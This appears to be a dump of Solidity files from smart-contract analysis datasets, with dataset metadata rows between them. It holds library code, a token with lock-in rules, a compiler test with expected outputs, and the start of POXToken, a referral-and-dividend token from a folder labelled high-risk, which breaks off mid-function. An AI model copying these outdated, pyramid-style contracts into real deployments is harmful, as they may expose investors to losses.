function toInt160(int256 value) internal pure returns (int160 downcasted) {
downcasted = int160(value);
require(downcasted == value, "SafeCast: value doesn't fit in 160 bits");
}
function toInt152(int256 value) internal pure returns (int152 downcasted) {
downcasted = int152(value);
require(downcasted == value, "SafeCast: value doesn't fit in 152 bits");
}
function toInt144(int256 value) internal pure returns (int144 downcasted) {
downcasted = int144(value);
require(downcasted == value, "SafeCast: value doesn't fit in 144 bits");
}
function toInt136(int256 value) internal pure returns (int136 downcasted) {
downcasted = int136(value);
require(downcasted == value, "SafeCast: value doesn't fit in 136 bits");
}
function toInt128(int256 value) internal pure returns (int128 downcasted) {
downcasted = int128(value);
require(downcasted == value, "SafeCast: value doesn't fit in 128 bits");
}
function toInt120(int256 value) internal pure returns (int120 downcasted) {
downcasted = int120(value);
require(downcasted == value, "SafeCast: value doesn't fit in 120 bits");
}
function toInt112(int256 value) internal pure returns (int112 downcasted) {
downcasted = int112(value);
require(downcasted == value, "SafeCast: value doesn't fit in 112 bits");
}
function toInt104(int256 value) internal pure returns (int104 downcasted) {
downcasted = int104(value);
require(downcasted == value, "SafeCast: value doesn't fit in 104 bits");
}
function toInt96(int256 value) internal pure returns (int96 downcasted) {
downcasted = int96(value);
require(downcasted == value, "SafeCast: value doesn't fit in 96 bits");
}
function toInt88(int256 value) internal pure returns (int88 downcasted) {
downcasted = int88(value);
require(downcasted == value, "SafeCast: value doesn't fit in 88 bits");
}
function toInt80(int256 value) internal pure returns (int80 downcasted) {
downcasted = int80(value);
require(downcasted == value, "SafeCast: value doesn't fit in 80 bits");
}
function toInt72(int256 value) internal pure returns (int72 downcasted) {
downcasted = int72(value);
require(downcasted == value, "SafeCast: value doesn't fit in 72 bits");
}
function toInt64(int256 value) internal pure returns (int64 downcasted) {
downcasted = int64(value);
require(downcasted == value, "SafeCast: value doesn't fit in 64 bits");
}
function toInt56(int256 value) internal pure returns (int56 downcasted) {
downcasted = int56(value);
require(downcasted == value, "SafeCast: value doesn't fit in 56 bits");
}
function toInt48(int256 value) internal pure returns (int48 downcasted) {
downcasted = int48(value);
require(downcasted == value, "SafeCast: value doesn't fit in 48 bits");
}
function toInt40(int256 value) internal pure returns (int40 downcasted) {
downcasted = int40(value);
require(downcasted == value, "SafeCast: value doesn't fit in 40 bits");
}
function toInt32(int256 value) internal pure returns (int32 downcasted) {
downcasted = int32(value);
require(downcasted == value, "SafeCast: value doesn't fit in 32 bits");
}
function toInt24(int256 value) internal pure returns (int24 downcasted) {
downcasted = int24(value);
require(downcasted == value, "SafeCast: value doesn't fit in 24 bits");
}
function toInt16(int256 value) internal pure returns (int16 downcasted) {
downcasted = int16(value);
require(downcasted == value, "SafeCast: value doesn't fit in 16 bits");
}
function toInt8(int256 value) internal pure returns (int8 downcasted) {
downcasted = int8(value);
require(downcasted == value, "SafeCast: value doesn't fit in 8 bits");
}
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
library DoubleEndedQueue {
error Empty();
error OutOfBounds();
struct Bytes32Deque {
int128 _begin;
int128 _end;
mapping(int128 => bytes32) _data;
}
function pushBack(Bytes32Deque storage deque, bytes32 value) internal {
int128 backIndex = deque._end;
deque._data[backIndex] = value;
unchecked {
deque._end = backIndex + 1;
}
}
function popBack(Bytes32Deque storage deque) internal returns (bytes32 value) {
if (empty(deque)) revert Empty();
int128 backIndex;
unchecked {
backIndex = deque._end - 1;
}
value = deque._data[backIndex];
delete deque._data[backIndex];
deque._end = backIndex;
}
function pushFront(Bytes32Deque storage deque, bytes32 value) internal {
int128 frontIndex;
unchecked {
frontIndex = deque._begin - 1;
}
deque._data[frontIndex] = value;
deque._begin = frontIndex;
}
function popFront(Bytes32Deque storage deque) internal returns (bytes32 value) {
if (empty(deque)) revert Empty();
int128 frontIndex = deque._begin;
value = deque._data[frontIndex];
delete deque._data[frontIndex];
unchecked {
deque._begin = frontIndex + 1;
}
}
function front(Bytes32Deque storage deque) internal view returns (bytes32 value) {
if (empty(deque)) revert Empty();
int128 frontIndex = deque._begin;
return deque._data[frontIndex];
}
function back(Bytes32Deque storage deque) internal view returns (bytes32 value) {
if (empty(deque)) revert Empty();
int128 backIndex;
unchecked {
backIndex = deque._end - 1;
}
return deque._data[backIndex];
}
function at(Bytes32Deque storage deque, uint256 index) internal view returns (bytes32 value) {
// int256(deque._begin) is a safe upcast
int128 idx = SafeCast.toInt128(int256(deque._begin) + SafeCast.toInt256(index));
if (idx >= deque._end) revert OutOfBounds();
return deque._data[idx];
}
function clear(Bytes32Deque storage deque) internal {
deque._begin = 0;
deque._end = 0;
}
function length(Bytes32Deque storage deque) internal view returns (uint256) {
// The interface preserves the invariant that begin <= end so we assume this will not overflow.
// We also assume there are at most int256.max items in the queue.
unchecked {
return uint256(int256(deque._end) - int256(deque._begin));
}
}
function empty(Bytes32Deque storage deque) internal view returns (bool) {
return deque._end <= deque._begin;
}
}
// Bytes32Deque
contract Bytes32DequeMock {
using DoubleEndedQueue for DoubleEndedQueue.Bytes32Deque;
event OperationResult(bytes32 value);
DoubleEndedQueue.Bytes32Deque private _vector;
function pushBack(bytes32 value) public {
_vector.pushBack(value);
}
function pushFront(bytes32 value) public {
_vector.pushFront(value);
}
function popFront() public returns (bytes32) {
bytes32 value = _vector.popFront();
emit OperationResult(value);
return value;
}
function popBack() public returns (bytes32) {
bytes32 value = _vector.popBack();
emit OperationResult(value);
return value;
}
function front() public view returns (bytes32) {
return _vector.front();
}
function back() public view returns (bytes32) {
return _vector.back();
}
function at(uint256 i) public view returns (bytes32) {
return _vector.at(i);
}
function clear() public {
_vector.clear();
}
function length() public view returns (uint256) {
return _vector.length();
}
function empty() public view returns (bool) {
return _vector.empty();
}
}
| 63,367 | 10,889 |
5fe11dbf34a1885ffb52d708fa9deece95c3ded66bf4a6bd8dd6977c4c2613c1
| 23,449 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x58b334f15d7c7e08287b4ae57d11f35e0c2ad497.sol
| 3,848 | 15,534 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract AuthenticationManager {
mapping (address => bool) adminAddresses;
mapping (address => bool) accountReaderAddresses;
mapping (address => bool) accountMinterAddresses;
address[] adminAudit;
address[] accountReaderAudit;
address[] accountMinterAudit;
event AdminAdded(address addedBy, address admin);
event AdminRemoved(address removedBy, address admin);
event AccountReaderAdded(address addedBy, address account);
event AccountReaderRemoved(address removedBy, address account);
event AccountMinterAdded(address addedBy, address account);
event AccountMinterRemoved(address removedBy, address account);
function AuthenticationManager() {
adminAddresses[msg.sender] = true;
AdminAdded(0, msg.sender);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = msg.sender;
}
function isCurrentAdmin(address _address) constant returns (bool) {
return adminAddresses[_address];
}
function isCurrentOrPastAdmin(address _address) constant returns (bool) {
for (uint256 i = 0; i < adminAudit.length; i++)
if (adminAudit[i] == _address)
return true;
return false;
}
function isCurrentAccountReader(address _address) constant returns (bool) {
return accountReaderAddresses[_address];
}
function isCurrentOrPastAccountReader(address _address) constant returns (bool) {
for (uint256 i = 0; i < accountReaderAudit.length; i++)
if (accountReaderAudit[i] == _address)
return true;
return false;
}
function isCurrentAccountMinter(address _address) constant returns (bool) {
return accountMinterAddresses[_address];
}
function isCurrentOrPastAccountMinter(address _address) constant returns (bool) {
for (uint256 i = 0; i < accountMinterAudit.length; i++)
if (accountMinterAudit[i] == _address)
return true;
return false;
}
function addAdmin(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already admin
if (adminAddresses[_address])
throw;
// Add the user
adminAddresses[_address] = true;
AdminAdded(msg.sender, _address);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = _address;
}
function removeAdmin(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (_address == msg.sender)
throw;
// Fail if this account is already non-admin
if (!adminAddresses[_address])
throw;
adminAddresses[_address] = false;
AdminRemoved(msg.sender, _address);
}
function addAccountReader(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already in the list
if (accountReaderAddresses[_address])
throw;
// Add the account reader
accountReaderAddresses[_address] = true;
AccountReaderAdded(msg.sender, _address);
accountReaderAudit.length++;
accountReaderAudit[accountReaderAudit.length - 1] = _address;
}
function removeAccountReader(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already not in the list
if (!accountReaderAddresses[_address])
throw;
accountReaderAddresses[_address] = false;
AccountReaderRemoved(msg.sender, _address);
}
function addAccountMinter(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already in the list
if (accountMinterAddresses[_address])
throw;
// Add the minter
accountMinterAddresses[_address] = true;
AccountMinterAdded(msg.sender, _address);
accountMinterAudit.length++;
accountMinterAudit[accountMinterAudit.length - 1] = _address;
}
function removeAccountMinter(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already not in the list
if (!accountMinterAddresses[_address])
throw;
accountMinterAddresses[_address] = false;
AccountMinterRemoved(msg.sender, _address);
}
}
contract Token {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping(address => mapping (address => uint256)) allowed;
address[] allTokenHolders;
string public name;
string public symbol;
uint8 public decimals;
uint256 totalSupplyAmount = 0;
address public refundManagerContractAddress;
AuthenticationManager authenticationManager;
LockinManager lockinManager;
function availableBalance(address _owner) constant returns(uint256) {
uint256 length = lockinManager.getLocks(_owner);
uint256 lockedValue = 0;
for(uint256 i = 0; i < length; i++) {
if(lockinManager.getLocksUnlockDate(_owner, i) > now) {
uint256 _value = lockinManager.getLocksAmount(_owner, i);
lockedValue = lockedValue.add(_value);
}
}
return balances[_owner].sub(lockedValue);
}
event FundClosed();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function Token(address _authenticationManagerAddress) {
// Setup defaults
name = "PIE (Authorito Capital)";
symbol = "PIE";
decimals = 18;
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
modifier accountReaderOnly {
if (!authenticationManager.isCurrentAccountReader(msg.sender)) throw;
_;
}
modifier adminOnly {
if (!authenticationManager.isCurrentAdmin(msg.sender)) throw;
_;
}
function setLockinManagerAddress(address _lockinManager) adminOnly {
lockinManager = LockinManager(_lockinManager);
}
function setRefundManagerContract(address _refundManagerContractAddress) adminOnly {
refundManagerContractAddress = _refundManagerContractAddress;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3) returns (bool) {
if (availableBalance(_from) >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]) {
bool isNew = balances[_to] == 0;
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isNew)
tokenOwnerAdd(_to);
if (balances[_from] == 0)
tokenOwnerRemove(_from);
Transfer(_from, _to, _amount);
return true;
}
return false;
}
function tokenHolderCount() accountReaderOnly constant returns (uint256) {
return allTokenHolders.length;
}
function tokenHolder(uint256 _index) accountReaderOnly constant returns (address) {
return allTokenHolders[_index];
}
function approve(address _spender, uint256 _amount) onlyPayloadSize(2) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function totalSupply() constant returns (uint256) {
return totalSupplyAmount;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2) returns (bool) {
if (availableBalance(msg.sender) < _amount || balances[_to].add(_amount) < balances[_to])
return false;
bool isRecipientNew = balances[_to] == 0;
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isRecipientNew)
tokenOwnerAdd(_to);
if (balances[msg.sender] <= 0)
tokenOwnerRemove(msg.sender);
Transfer(msg.sender, _to, _amount);
return true;
}
function tokenOwnerAdd(address _addr) internal {
uint256 tokenHolderCount = allTokenHolders.length;
for (uint256 i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr)
return;
allTokenHolders.length++;
allTokenHolders[allTokenHolders.length - 1] = _addr;
}
function tokenOwnerRemove(address _addr) internal {
uint256 tokenHolderCount = allTokenHolders.length;
uint256 foundIndex = 0;
bool found = false;
uint256 i;
for (i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr) {
foundIndex = i;
found = true;
break;
}
if (!found)
return;
for (i = foundIndex; i < tokenHolderCount - 1; i++)
allTokenHolders[i] = allTokenHolders[i + 1];
allTokenHolders.length--;
}
function mintTokens(address _address, uint256 _amount) onlyPayloadSize(2) {
if (! authenticationManager.isCurrentAccountMinter(msg.sender))
throw;
bool isNew = balances[_address] == 0;
totalSupplyAmount = totalSupplyAmount.add(_amount);
balances[_address] = balances[_address].add(_amount);
lockinManager.defaultLockin(_address, _amount);
if (isNew)
tokenOwnerAdd(_address);
Transfer(0, _address, _amount);
}
function destroyTokens(address _investor, uint256 tokenCount) returns (bool) {
if (refundManagerContractAddress == 0x0 || msg.sender != refundManagerContractAddress)
throw;
uint256 balance = availableBalance(_investor);
if (balance < tokenCount) {
return false;
}
balances[_investor] -= tokenCount;
totalSupplyAmount -= tokenCount;
if(balances[_investor] <= 0)
tokenOwnerRemove(_investor);
return true;
}
}
contract LockinManager {
using SafeMath for uint256;
struct Lock {
uint256 amount;
uint256 unlockDate;
uint256 lockedFor;
}
Lock lock;
uint256 defaultAllowedLock = 7;
mapping (address => Lock[]) public lockedAddresses;
mapping (address => uint256) public allowedContracts;
mapping (uint => uint256) public allowedLocks;
Token token;
AuthenticationManager authenticationManager;
event LockedDayAdded(address _admin, uint256 _daysLocked, uint256 timestamp);
event LockedDayRemoved(address _admin, uint256 _daysLocked, uint256 timestamp);
event ValidContractAdded(address _admin, address _validAddress, uint256 timestamp);
event ValidContractRemoved(address _admin, address _validAddress, uint256 timestamp);
function LockinManager(address _token, address _authenticationManager) {
token = Token(_token);
authenticationManager = AuthenticationManager(_authenticationManager);
}
modifier adminOnly {
if (!authenticationManager.isCurrentAdmin(msg.sender)) throw;
_;
}
modifier validContractOnly {
require(allowedContracts[msg.sender] != 0);
_;
}
function getLocks(address _owner) validContractOnly constant returns (uint256) {
return lockedAddresses[_owner].length;
}
function getLock(address _owner, uint256 count) validContractOnly returns(uint256 amount, uint256 unlockDate, uint256 lockedFor) {
amount = lockedAddresses[_owner][count].amount;
unlockDate = lockedAddresses[_owner][count].unlockDate;
lockedFor = lockedAddresses[_owner][count].lockedFor;
}
function getLocksAmount(address _owner, uint256 count) validContractOnly returns(uint256 amount) {
amount = lockedAddresses[_owner][count].amount;
}
function getLocksUnlockDate(address _owner, uint256 count) validContractOnly returns(uint256 unlockDate) {
unlockDate = lockedAddresses[_owner][count].unlockDate;
}
function getLocksLockedFor(address _owner, uint256 count) validContractOnly returns(uint256 lockedFor) {
lockedFor = lockedAddresses[_owner][count].lockedFor;
}
function defaultLockin(address _address, uint256 _value) validContractOnly
{
lockIt(_address, _value, defaultAllowedLock);
}
function lockForDays(uint256 _value, uint256 _days)
{
require(! ifInAllowedLocks(_days));
require(token.availableBalance(msg.sender) >= _value);
lockIt(msg.sender, _value, _days);
}
function lockIt(address _address, uint256 _value, uint256 _days) internal {
// expiry will be calculated as 24 * 60 * 60
uint256 _expiry = now + _days.mul(86400);
lockedAddresses[_address].push(Lock(_value, _expiry, _days));
}
function ifInAllowedLocks(uint256 _days) constant returns(bool) {
return allowedLocks[_days] == 0;
}
function addAllowedLock(uint _day) adminOnly {
// Fail if day is already present in locked days
if (allowedLocks[_day] != 0)
throw;
// Add day in locked days
allowedLocks[_day] = now;
LockedDayAdded(msg.sender, _day, now);
}
function removeAllowedLock(uint _day) adminOnly {
// Fail if day doesnot exist in allowedLocks
if (allowedLocks[_day] == 0)
throw;
allowedLocks[_day] = 0;
LockedDayRemoved(msg.sender, _day, now);
}
function addValidContract(address _address) adminOnly {
// Fail if address is already present in valid contracts
if (allowedContracts[_address] != 0)
throw;
// add an address in allowedContracts
allowedContracts[_address] = now;
ValidContractAdded(msg.sender, _address, now);
}
function removeValidContract(address _address) adminOnly {
// Fail if address doesnot exist in allowedContracts
if (allowedContracts[_address] == 0)
throw;
allowedContracts[_address] = 0;
ValidContractRemoved(msg.sender, _address, now);
}
function setDefaultAllowedLock(uint _days) adminOnly {
defaultAllowedLock = _days;
}
}
| 193,316 | 10,890 |
2e7ae129f9a27542e78a9014247daac10f29d5e1701342c05ebcd2cf3af84f05
| 8,884 |
.sol
|
Solidity
| false |
611715548
|
matter-labs/era-compiler-tests
|
ea5134338da679cdf346c540fb90c83e6dd8d44d
|
solidity/simple/algorithm/arrays/standard_functions_high_order.sol
| 2,811 | 8,719 |
//! "name": "reverseTest",
//! "inputs": [
//! {
//! "method": "reverseTest",
//! "calldata": [
//! "7", "2", "1", "8", "10", "3", "5", "4", "9", "6"
//! ]
//! }
//! ],
//! "expected": [
//! "6", "9", "4", "5", "3", "10", "8", "1", "2", "7", "10"
//! ]
//! }, {
//! "name": "uniqueTest",
//! "inputs": [
//! {
//! "method": "uniqueTest",
//! "calldata": [
//! "7", "2", "7", "8", "10", "10", "5", "8", "9", "7"
//! ]
//! }
//! ],
//! "expected": [
//! "7", "2", "8", "10", "5", "9", "0", "0", "0", "0", "6"
//! ]
//! }, {
//! "name": "filterGreater",
//! "inputs": [
//! {
//! "method": "filterGreater",
//! "calldata": [
//! "7", "2", "7", "8", "10", "10", "5", "8", "9", "7"
//! ]
//! }
//! ],
//! "expected": [
//! "7", "7", "8", "10", "10", "8", "9", "7", "0", "0", "8"
//! ]
//! }, {
//! "name": "filterLess",
//! "inputs": [
//! {
//! "method": "filterLess",
//! "calldata": [
//! "7", "2", "7", "8", "10", "10", "5", "8", "9", "7"
//! ]
//! }
//! ],
//! "expected": [
//! "7", "2", "7", "5", "7", "0", "0", "0", "0", "0", "5"
//! ]
//! }, {
//! "name": "filterDivide",
//! "inputs": [
//! {
//! "method": "filterDivide",
//! "calldata": [
//! "7", "2", "7", "8", "10", "10", "5", "8", "9", "7"
//! ]
//! }
//! ],
//! "expected": [
//! "2", "8", "10", "10", "8", "0", "0", "0", "0", "0", "5"
//! ]
//! }, {
//! "name": "mapAdd",
//! "inputs": [
//! {
//! "method": "mapAdd",
//! "calldata": [
//! "7", "2", "1", "8", "10", "3", "5", "4", "9", "6", "28"
//! ]
//! }
//! ],
//! "expected": [
//! "35", "30", "29", "36", "38", "31", "33", "32", "37", "34", "10"
//! ]
//! }, {
//! "name": "mapSub",
//! "inputs": [
//! {
//! "method": "mapSub",
//! "calldata": [
//! "18", "12", "7", "9", "21", "6", "22", "14", "9", "34", "5"
//! ]
//! }
//! ],
//! "expected": [
//! "13", "7", "2", "4", "16", "1", "17", "9", "4", "29", "10"
//! ]
//! }, {
//! "name": "mapMul",
//! "inputs": [
//! {
//! "method": "mapMul",
//! "calldata": [
//! "7", "2", "1", "8", "10", "3", "5", "4", "9", "6", "7"
//! ]
//! }
//! ],
//! "expected": [
//! "49", "14", "7", "56", "70", "21", "35", "28", "63", "42", "10"
//! ]
//! }, {
//! "name": "mapDiv",
//! "inputs": [
//! {
//! "method": "mapDiv",
//! "calldata": [
//! "18", "12", "7", "9", "21", "6", "22", "14", "9", "34", "4"
//! ]
//! }
//! ],
//! "expected": [
//! "4", "3", "1", "2", "5", "1", "5", "3", "2", "8", "10"
//! ]
//! }, {
//! "name": "complex",
//! "inputs": [
//! {
//! "method": "complex",
//! "calldata": [
//! ]
//! }
//! ],
//! "expected": [
//! "4", "6", "2", "5", "0", "0", "0", "0", "0", "0", "4"
//! ]
//! } ] }
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.19;
pragma experimental ABIEncoderV2;
contract Test {
uint8 constant ARRAY_SIZE = 10;
struct Vector {
uint8[ARRAY_SIZE] array;
uint8 size;
}
function reverseTest(uint8[ARRAY_SIZE] memory input) public pure returns(Vector memory) {
return reverse(fromArray(input, ARRAY_SIZE));
}
function uniqueTest(uint8[ARRAY_SIZE] memory input) public pure returns(Vector memory) {
return unique(fromArray(input, ARRAY_SIZE));
}
function filterGreater(uint8[ARRAY_SIZE] memory input) public pure returns(Vector memory) {
return filter(fromArray(input, ARRAY_SIZE), greater5);
}
function filterLess(uint8[ARRAY_SIZE] memory input) public pure returns(Vector memory) {
return filter(fromArray(input, ARRAY_SIZE), less8);
}
function filterDivide(uint8[ARRAY_SIZE] memory input) public pure returns(Vector memory) {
return filter(fromArray(input, ARRAY_SIZE), divide2);
}
function mapAdd(uint8[ARRAY_SIZE] memory input) public pure returns(Vector memory) {
return map(fromArray(input, ARRAY_SIZE), add28);
}
function mapSub(uint8[ARRAY_SIZE] memory input) public pure returns(Vector memory) {
return map(fromArray(input, ARRAY_SIZE), sub5);
}
function mapMul(uint8[ARRAY_SIZE] memory input) public pure returns(Vector memory) {
return map(fromArray(input, ARRAY_SIZE), mul7);
}
function mapDiv(uint8[ARRAY_SIZE] memory input) public pure returns(Vector memory) {
return map(fromArray(input, ARRAY_SIZE), div4);
}
function complex() public pure returns(Vector memory) {
uint8[ARRAY_SIZE] memory input = [18, 12, 7, 9, 21, 6, 22, 14, 9, 34];
Vector memory output = fromArray(input, ARRAY_SIZE);
output = filter(output, divide2);
output = reverse(output);
output = map(output, mul2);
output = filter(output, less60);
output = map(output, add4);
output = filter(output, divide8);
output = map(output, div7);
return output;
}
function greater5(uint8 a) private pure returns(bool) {
return a > 5;
}
function less8(uint8 a) private pure returns(bool) {
return a < 8;
}
function divide2(uint8 a) private pure returns(bool) {
return a % 2 == 0;
}
function add28(uint8 a) private pure returns(uint8) {
return a + 28;
}
function sub5(uint8 a) private pure returns(uint8) {
return a - 5;
}
function mul7(uint8 a) private pure returns(uint8) {
return a * 7;
}
function div4(uint8 a) private pure returns(uint8) {
return a / 4;
}
function mul2(uint8 a) private pure returns(uint8) {
return a * 2;
}
function less60(uint8 a) private pure returns(bool) {
return a < 60;
}
function add4(uint8 a) private pure returns(uint8) {
return a + 4;
}
function divide8(uint8 a) private pure returns(bool) {
return a % 8 == 0;
}
function div7(uint8 a) private pure returns(uint8) {
return a / 7;
}
function fromArray(uint8[ARRAY_SIZE] memory array, uint8 size) private pure returns(Vector memory) {
return Vector(array, size);
}
function copy(Vector memory vector) private pure returns(Vector memory) {
Vector memory _new;
_new.size = vector.size;
for(uint8 i = 0; i < vector.size; i++) {
_new.array[i] = vector.array[i];
}
return _new;
}
function reverse(Vector memory vector) private pure returns(Vector memory) {
Vector memory result = copy(vector);
for(uint i = 0; i < result.size / 2; i++) {
uint8 tmp = result.array[i];
result.array[i] = result.array[result.size - 1 - i];
result.array[result.size - 1 - i] = tmp;
}
return result;
}
function unique(Vector memory vector) private pure returns(Vector memory) {
Vector memory result;
for(uint8 i = 0; i < vector.size; i++) {
bool fl = true;
for(uint8 j = 0; j < i; j++) {
if (vector.array[i] == vector.array[j]) {
fl = false;
break;
}
}
if (fl) {
result.array[result.size] = vector.array[i];
result.size += 1;
}
}
return result;
}
function filter(Vector memory vector, function (uint8) pure returns(bool) f) private pure returns(Vector memory) {
Vector memory result;
for(uint8 i = 0; i < vector.size; i++) {
if (f(vector.array[i])) {
result.array[result.size] = vector.array[i];
result.size += 1;
}
}
return result;
}
function map(Vector memory vector, function (uint8) pure returns(uint8) f) private pure returns(Vector memory) {
Vector memory result;
result.size = vector.size;
for(uint8 i = 0; i < vector.size; i++) {
result.array[i] = f(vector.array[i]);
}
return result;
}
}
| 157,909 | 10,891 |
881bdc0e1280334e1c414bfcf0607f45e3f59b6b478ec6649a8e55dc57ca28b5
| 27,174 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0xde9c0dbf058935d17583d4643896caf93198761a.sol
| 5,154 | 20,009 |
pragma solidity ^0.4.24;
contract POXToken {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> set new administrator
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[(_customerAddress)]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){
require(// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "POXToken";
string public symbol = "POX";
uint8 constant public decimals = 18;
uint8 constant internal buyFee_ = 10;
uint8 constant internal sellFee_ = 5;
uint8 constant internal exchangebuyFee_ = 100;
uint8 constant internal exchangesellFee_ = 50;
uint8 constant internal referralFeenormal_ = 50;
uint8 constant internal referralFeedouble_ = 25;
uint8 constant internal transferFee_ = 10;
uint32 constant internal presaletransferFee_ = 1000000;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake Doubles Referral Rewards (defaults at 500 tokens)
uint256 public stakingRequirement = 500e18;
// presale
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1000 ether;
uint256 constant internal ambassadorQuota_ = 1010 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(address => bool) public administrators;
bool public onlyAmbassadors = true;
// fees and measurement error address
address private exchangefees;
address private measurement;
function POXToken(address _exchangefees, address _measurement)
public
{
require(_exchangefees != address(0));
exchangefees = _exchangefees;
require(_measurement != address(0));
measurement = _measurement;
// administrators
administrators[0x8889885f4a4800abC7F32aC661765cd1FAaC7D49] = true;
// pre-sale wallet.
ambassadors_[0xA7A1d05b15de7d5C0a8A27dDD3B011Ec366D6bB9] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
// low fees for presale
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
